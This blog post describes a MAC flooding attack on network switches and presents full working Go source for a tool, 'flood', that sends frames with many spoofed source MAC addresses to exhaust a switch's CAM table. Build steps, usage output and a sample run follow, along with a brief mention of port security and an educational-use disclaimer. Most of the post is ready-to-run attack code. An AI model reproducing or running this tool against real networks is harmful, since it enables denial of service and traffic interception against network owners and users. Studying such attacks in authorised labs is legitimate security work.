Back in 2018 when I attended the networking security class at highschool, our prof introduced us to attacking network devices at the OSI data link layer (Ethernet, most of the time). I was in fact curious how to file such an attack myself. Indeed, there were enough tools already out there - but only script kiddies use existing tools. So I decided to write my own tool to bring down a switched network.
The attack I am talking about is named MAC flooding.
In computer networking, a media access control attack or MAC flooding is a technique employed to compromise the security of network switches. The attack works by forcing legitimate MAC table contents out of the switch and forcing a unicast flooding behavior potentially sending sensitive information to portions of the network where it is not normally intended to go.
It's some kind of denial of service attack. Usually a switch remembers which client (MAC address) is connected to which port. But when there are more clients than the switch can remember, the layer 2 frames are send on every port and you may sniff the whole traffic - or the whole network breaks due to exponentially increasing traffic.
So the only thing to do is to flood the network with frames originating from different MAC addresses. Since the switches CAM tables are finite, at some point in time the switch cannot remember the different source addresses and therefore is out of service.
The switches should be able to recover from the attack automatically using the MAC table aging method
In addition, modern switches may be configured using so-called port security, so it is of course possible to eliminate such an attack at it's root cause.
Defining goals and requirements
So our network looks like the diagram above. We would like to make the switch believe that there are more computers connected to it than he can remember. To do so we have to operate directly on the data link layer of the OSI reference model. Since any "normal" request will be built up correctly by the help of our operating system - there is always just a single MAC available per network interface. However this does not mean that we cannot emulate different MAC addresses using the same network interface.
For the Go programming language Matt Layher has created awesome libraries to operate on the data link layer directly, they are called ethernet
and raw
.
He has already written about it in his blog - make sure to check it out: Network Protocol Breakdown: Ethernet and Go
mdlayher / ethernet
Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.
Package ethernet
implements marshaling and unmarshaling of IEEE 802.3
Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.
For more information about using Ethernet frames in Go, check out my blog post: Network Protocol Breakdown: Ethernet and Go.
Our tool should be of course the fastest on the planet. And therefore we utilize the Go concurrency patterns.
The quintessence of writing ethernet frames to a network connection is implemented in the below code section. This method loops over a channel of ethernet.Frame
struct and writes them onto the network interface using a default destination address.
The function also sends the number of bytes written to the network interface to another channel.
// frameWriter sends ethernet frames over the network
func frameWriter(c net.PacketConn, ch <-chan *ethernet.Frame, stats chan<- int, doneCall func()) {
for f := range ch {
// get frame and marshall it to binary
b, err := f.MarshalBinary()
if err != nil {
fmt.Printf("failed to marshal ethernet frame: %v", err)
}
// only necessary for WriteTo() method, does not change the frame
addr := &raw.Addr{
HardwareAddr: ethernet.Broadcast,
}
// write frame
n, err := c.WriteTo(b, addr)
if err != nil {
fmt.Printf("Cannot write to connection: %v", err)
}
// send to channel
stats <- n
}
doneCall()
}
First of all we'd like to control how our tool should operate. I've therefore implemented the below command line parameters:
- Network interface to send
- Number of Goroutines for writing
- Amount of frames to send
And since this tool will only work on Unix-based machines, the top line (called build constraint or tag) specifies the target platforms.
//+build linux darwin
package main
import (
"flag"
"fmt"
"github.com/mdlayher/ethernet"
"github.com/mdlayher/raw"
"net"
"os/user"
"sync"
"time"
)
var num = flag.Int("n", 1, "Amount of frames send")
var ifaceName = flag.String("i", "", "Interface to send")
var numThreads = flag.Int("t", 12, "Number of threads to use")
var seed = flag.Int("s", 0, "Seed for source MAC address")
var versionFlag = flag.Bool("v", false, "Print version")
const etherType = 0xbeef
const version = "flood v0.2.0"
// prerequisitesSatisfied checks if all requirements are met
func prerequisitesSatisfied() bool {
if *versionFlag {
fmt.Println(version)
return false
}
u, _ := user.Current()
if u.Uid != "0" {
fmt.Println("This program requires root (UID 0) access")
return false
}
// require iface index flag
if *ifaceName == "" {
flag.Usage()
return false
}
if *seed < 0 || *seed > 255 {
fmt.Printf("Seed (%d) must be between 0 and 255\n", *seed)
return false
}
return true
}
func main() {
flag.Parse()
if !prerequisitesSatisfied() {
return
}
iface, err := net.InterfaceByName(*ifaceName)
if err != nil {
fmt.Println("No such network interface")
return
}
conn, err := raw.ListenPacket(iface, etherType, nil)
if err != nil {
fmt.Printf("cannot open connection: %v", err)
return
}
var wg sync.WaitGroup
// init channels
ch := make(chan *ethernet.Frame)
stats := make(chan int)
// create sender goroutines
for i := 0; i < *numThreads; i++ {
wg.Add(1)
// pass in Done() method from waitgroup
go frameWriter(conn, ch, stats, wg.Done)
}
// init stat vars
framesSend := 0
bytesWritten := 0
startTime := time.Now()
// stat collecting goroutine
go func() {
// no need for waitgroup here,
// goroutine gets automatically killed when any sender goroutine exits
for bytes := range stats {
bytesWritten += bytes
framesSend++
}
}()
for i := 1; i <= *num; i++ {
f := ðernet.Frame{
Destination: ethernet.Broadcast,
// every frame should have a different MAC address
// and emulates therefore a different computer
Source: net.HardwareAddr{
byte(*seed),
0x00,
// hacky method for power to 2 numbers
byte(i / (24 << 1)), uint8(i / (16 << 1)), uint8(i / (8 << 1)), uint8(i),
},
EtherType: etherType,
}
ch <- f
}
// close channel
close(ch)
wg.Wait() // wait for goroutines quit
fmt.Println("Execution summary:")
fmt.Printf("%d frames send\n", framesSend)
fmt.Printf("%d bytes written\n", bytesWritten)
fmt.Printf("Took a total time of %v\n", time.Since(startTime))
}
At the beginning of our main
function we set up and check all the prerequisites. Afterwards the channels for communicating are initialized and the frameWriter
Goroutines are dispatched. This applies also for the stats collecting goroutine.
Afterwards the frames are created in our main goroutine and send over to the frameWriter
goroutines to write them to the network interface.
Results
To check the results, I am using Wireshark to sniff the local network traffic. The frames should have different source MAC addresses.
The usage is printed below.
$ ./flood -h
Usage of ./flood:
-i string
Interface to send
-n int
Amount of frames send (default 1)
-s int
Seed for source MAC address
-t int
Number of threads to use (default 12)
-v Print version
First we have to evaluate on which network interface we'd like to send the frames to. Afterwards we have to get root privileges to execute this program.
# ./flood -i ens33 -n 100
100 frames send
6000 bytes written
Took a total time of 5.070503ms
In Wireshark you should then see something like this when applying the filter to the ethernet type 0xbeef
- this is the default type for the flood
tool.
- Source MAC address is different for every packet and not ordered (since multiple goroutines are used)
- Destination MAC stays always to Broadcast
- Data inside the frame is not of length zero. Why? Because of the minimum length of an Ethernet frame (60 bytes)
The full code is available here (also pre-built binaries are available. But make sure to only use this software for educational purpose. Use only if you are allowed to!
davidkroell / flood
MAC flooding attack tool in Go
flood
Is a OSI layer 2 attack to take down a switch by filling the MAC-Address table.
Requirements
This software only runs on linux operating systems and requires minimum version of go1.12
.
Build
With an properly configured Go toolchain execute the following.
# on linux only
go get github.com/davidkroell/flood
cd $GOPATH/src/github.com/davidkroell/flood
go build -o flood main.go
Usage
Usage of flood:
-i string
Interface to send
-n int
Amount of frames send (default 1)
-s int
Seed for source MAC address
-t int
Number of threads to use (default 12)
-v Print version
Disclaimer
This software is provided for educational use only. The authors are not responsible for any misuse of the software. Performing an attack without permission from the owner of the network is illegal. Use at your own risk.
Thanks for reading, and as always feel free to submit feedback for improvements.
Top comments (0)